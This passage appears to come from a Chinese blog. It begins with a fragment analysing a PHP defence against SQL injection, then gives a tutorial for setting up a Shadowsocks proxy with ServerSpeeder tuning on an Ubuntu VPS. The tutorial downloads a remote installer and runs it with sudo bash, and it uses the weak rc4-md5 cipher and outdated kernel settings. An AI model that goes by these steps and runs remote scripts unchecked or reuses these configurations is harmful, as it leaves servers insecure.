从源代码可以看出，此处为字符型注入。对传入$id的值使用stripslashes()函数处理以后，再经过到$mysql_real_escape_string()函数进行第二次过滤。在默认情况下，PHP会对所有的GET，POST和cookie数据自动运行addslashes(),addslashes()函数返回在部分与定义之前添加\。

Striptslashes()函数则是删除由addslashes()函数添加的反斜杠。在使用两个函数进行过滤之后再使用is_numric()函数检查$id值是否位数字，彻底断绝了注入的存在。此种防护不存在绕过的可能。

基于KVM架构的VPS服务器搭建ss及锐速优化教程

Tue, 25 Oct 2016 00:00:00 +0000

准备

KVM架构虚拟服务器
xshell

服务器

任意一家运营商的KVM架构VPS服务器
Ubuntu 14.04 64bit系统
运行apt-get install vim 安装vim

搭建shadowsocks环境

使用xshell连接服务器主机

安装shadowsocks服务端

apt-get install python-pip
pip install shadowsocks

配置shadowsocks

用vim新建shadowsocks.json文件
```
vim /etc/shadowsocks.json
```

复制以下内容进去

{
    "server":"0.0.0.0",
    "local_address":"127.0.0.1",
    "local_port":1080,
    "port_password":{
        "10000":"Password1",
        "10001":"Password2",
        "10002":"Password3",
        "10003":"Password4"
        },
        "timeout": 300,
        "method":"rc4-md5",
        "fast_open": true
}

“10000”是指端口，“Password1”是指此端口的密码，均可以随意设置

常用 vim 操作自己百度，如果 vim 命令不可用是因为没安装 vim，可以用 vi 替代

保存刚才的文档，然后启动 shadowsocks 服务（每次重启服务器后都必须再次执行下面的命令）：

ssserver -c /etc/shadowsocks.json -d start

锐速优化（可选）

锐速现在最低套餐是 300 元一年，新手不建议使用，如需使用百度锐速官网

更换内核

查询当前内核

输入以下命令查询当前内核
```
uname -r
```

安装指定内核

目前锐速最高支持linux-image-3.13.0-46-generic内核，运行以下命令安装此内核
```
apt-get install linux-image-3.13.0-46-generic
```

卸载其他内核

运行命令查询本系统的其他内核

sudo dpkg --get-selections | grep linux-image

实例，查询出有其他5个内核

linux-image-3.16.0-30-generic
linux-image-3.16.0-60-generic
linux-image-extra-3.16.0-30-generic
linux-image-extra-3.16.0-60-generic
linux-image-generic-lts-utopic

运行命令卸载其他内核

sudo apt-get remove linux-image-3.16.0-30-generic linux-image-3.16.0-60-generic linux-image-extra-3.16.0-30-generic linux-image-extra-3.16.0-60-generic linux-image-generic-lts-utopic

删除后执行grub更新和重启
```
sudo update-grub
sudo reboot now
```

固定内核版本

防止内核意外升级
```
sudo apt-mark hold linux-image
```

优化内核

使用vim打开limits.conf

vim /etc/security/limits.conf

然后添加下面语句

*    soft    nofile    51200
*    hard    nofile    51200

修改/etc/pam.d/common-session,加入以下内容
```
session required pam_limits.so
```
修改/etc/profile,最下面加入以下内容
```
ulimit    -SHn    51200
```

修改/etc/sysctl.conf,加入以下内容

fs.file-max = 51200
net.core.rmem_max = 67108864
net.core.wmem_max = 67108864
net.core.netdev_max_backlog = 250000
net.core.somaxconn = 4096
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 0
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_keepalive_time = 1200
net.ipv4.ip_local_port_range = 10000 65000
net.ipv4.tcp_max_syn_backlog = 8192
net.ipv4.tcp_max_tw_buckets = 5000
net.ipv4.tcp_rmem = 4096 87380 67108864
net.ipv4.tcp_wmem = 4096 65536 67108864
net.ipv4.tcp_mtu_probing = 1
net.ipv4.tcp_congestion_control = hybla

保存修改后执行 sysctl -p 使配置生效。再额外使用一次 sudo reboot now 重启以生效。

安装锐速

安装

输入以下命令安装锐速：

wget http ://my.serverspeeder.com/d/ls/serverSpeederInstaller.tar.gz
tar -xzvf serverSpeederInstaller.tar.gz
sudo bash serverSpeederInstaller.sh

安装过程中依次输入以下命令：

你的锐速邮箱
你的锐速密码
eth0
1000000
1000000
0
y
y

优化锐速

打开/serverspeeder/etc/config，编辑如下内容：
```
rsc="1"
gso="1"
maxmode="1"
advinacc="1"
```

重启

重启锐速完成优化
```
service serverSpeeder restart
```

开机启动

添加路径

在/etc/init.d目录下新建ss_start文件并加入如下内容：

nohup /usr/local/bin/ss-server -c /etc/shadowsocks.json > /dev/null 2>&1 &

在/etc/init.d目录下新建rs_start文件并加入如下内容：
```
/serverspeeder/bin/serverSpeeder.sh start
```

加权限

chmod +x /etc/init.d/ss_start
chmod +x /etc/init.d/rs_start

加自启

sudo update-rc.d ss_start defaults 91
sudo update-rc.d rs_start defaults 91

安全措施

关闭 ping 功能：

根据我的经验，如果不关闭 ping，会经常有黑客试探攻击服务器，所以最好关闭 ping 服务，只需要每次启动或者重启服务器后执行一行代码：
```
echo "1" >/proc/sys/net/ipv4/icmp_echo_ignore_all
```
至此，搭建+优化SS全过程已完毕。